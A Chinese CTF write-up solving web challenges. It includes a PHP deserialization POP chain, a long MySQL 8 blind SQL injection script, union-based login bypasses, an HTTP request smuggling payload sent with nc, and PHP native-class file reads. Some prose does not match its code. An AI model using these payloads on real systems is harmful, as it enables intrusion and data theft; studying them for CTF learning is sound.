本文已参与「新人创作礼」活动,一起开启掘金创作之路。
冬奥会
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?> array(0) { }
简单的一个代码审计
传入的是json格式的,先是绕过is_numeric ,很简单year必须数字且等于2022,在其后面加字符来绕过,之后传入数组item,其数量必须大于3,且数组元素要有skiing 且不能有skiing ,我们可以用[]来绕过
构造payload
{%22year%22:%222022aaa%22,%22items%22:[1,[1],0]}
Pop2022
差不多原题,考察pop链构造
append函数使用了include(),会出现文件包含漏洞。
根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。
_wakeup()通过preg_match()将this->source是Show类,就调用了__toString()方法;
如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。
如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
利用文件包含漏洞,使用_invoke()读取flag.php的内容
<?php
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){ //
return $this->string->page;
}
}
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string =new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
?>
Easy-SQL
考察mysql8特性注入,即select被过滤的时候的用法,开始找了个脚本盲注,最后一步死活注不出来
'''
@author qwzf
@desc 本脚本是用于mysql 8新特性的sql注入
@date 2021/02/18
'''
import requests
import string
url = 'http://59.110.159.206:7010/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"
def current_db(url):
print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
print("请输入序号:",end='')
num = int(input())
if num == 1:
payload = "1 union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改)
urls = url + payload
r = requests.get(url=urls)
print(r.text)
else:
name=''
payload = "1 and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
for i in range(1,40):
char=''
for j in chars:
payloads = payload.format(i,ord(j))
urls = url + payloads
r = requests.get(url=urls)
if "Dumb" in r.text:
name += j
print(name)
char = j
break
if char == '':
break
def str2hex(name):
res = ''
for i in name:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
def dbs(url): #无列名盲注爆所有数据库(可修改)
while True:
print("请输入要爆第几个数据库,如:1,2等:",end='')
x = int(input())-1
num = str(x)
if x < 0:
break
payload = "1 and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'Dumb' in r.text:
name += chr(char-1)
print(name)
break
def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
payload = "1 and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
for i in range(0,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'Dumb' in r.text:
char = chr(ord(database[-1])+1)
database = database[0:-1]+char
payld = "1 and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'Dumb' not in res.text:
print('从第',i,'行开始爆数据表') #判断开始行数
n = i
break
return n
def tables(url,database,n): #无列名盲注爆数据表(可修改)
while True:
print("请输入要爆第几个数据表,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1 and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'Dumb' in r.text:
name += chr(char-1)
print(name)
break
def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
payload = "1 and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
for i in range(300,3000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'Dumb' in r.text:
char = chr(ord(table[-1])+1)
table = table[0:-1]+char
payld = "1 and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'Dumb' not in res.text:
print('从第',i,'行开始爆字段') #判断开始行数
n = i
break
return n
def columns(url,database,table,n): #无列名盲注爆字段值(可修改)
while True:
print("请输入要爆第几个字段,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1 and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'Dumb' in r.text:
name += chr(char-1)
print(name)
break
def datas(url,table): #无列名盲注爆数据(可修改)
while True:
print("请输入要爆第几个数据,如:1,2等:",end='')
x = int(input())
y = x-1
num = str(y)
if y < 0:
break
payload = "1 and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
name = ''
for i in range(1,60):
hexchar = ''
for char in range(32,126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'Dumb' in r.text:
name += chr(char-1)
print(name)
break
if __name__ == "__main__":
while True:
print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
types = int(input())
if types == 1:
current_db(url)
elif types == 2 or types == 3:
print("请输入已经得到的数据库名:",end='')
database = input()
if types == 2:
tables_n(url,database)
elif types == 3:
print("爆数据表开始行号:",end='')
n = int(input())
tables(url,database,n)
elif types == 4 or types == 5:
print("请输入已经得到的数据库名:",end='')
database = input()
print("请输入已经得到的数据表名:",end='')
table = input()
if types == 4:
columns_n(url,database,table)
elif types == 5:
print("爆字段值开始行号:",end='')
n = int(input())
columns(url,database,table,n)
elif types == 6:
print("请输入要查询的数据表名:",end='')
table = input()
datas(url,table)
else:1
dbs(url)
之后则是想太复杂了,直接一个简单语句就可以注出来第八个邮箱
?id=-1 union table emails limit 7,1
下载index.php
?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
username、passwd满足row['username'] === 'admin' && row['passwd']和passwd
绕过payload
username=-1' union values row("1","admin","1")%23&passwd=1
让我康康!
直接访问显示waf,如果用nc监听发包的话,会得到返回服务器gunicorn
百度搜索
构造http请求走私,简单来说就是逃逸请求,只是构造需要注意content-length的标准度
payload
echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020
findme
一眼原生类利用,un2有两条路可走,先用伪协议读HINT,发现提示flag在当前目录下f开头的txt
直接利用原生类读取
<?php
class a{
public $un0='GlobIterator';
public $un1="glob://f*.txt";
public $un2;
public $un3='unserialize';
public $un4;
}
$a=new a();
echo serialize($a);
找到flag文件名,继续用原生类读取flag
<?php
class a{
public $un0='SplFileObject';
public $un1="flllHL91244ggg-SecR1et.txt";
public $un2;
public $un3='unserialize';
public $un4;
}
$a=new a();
echo serialize($a);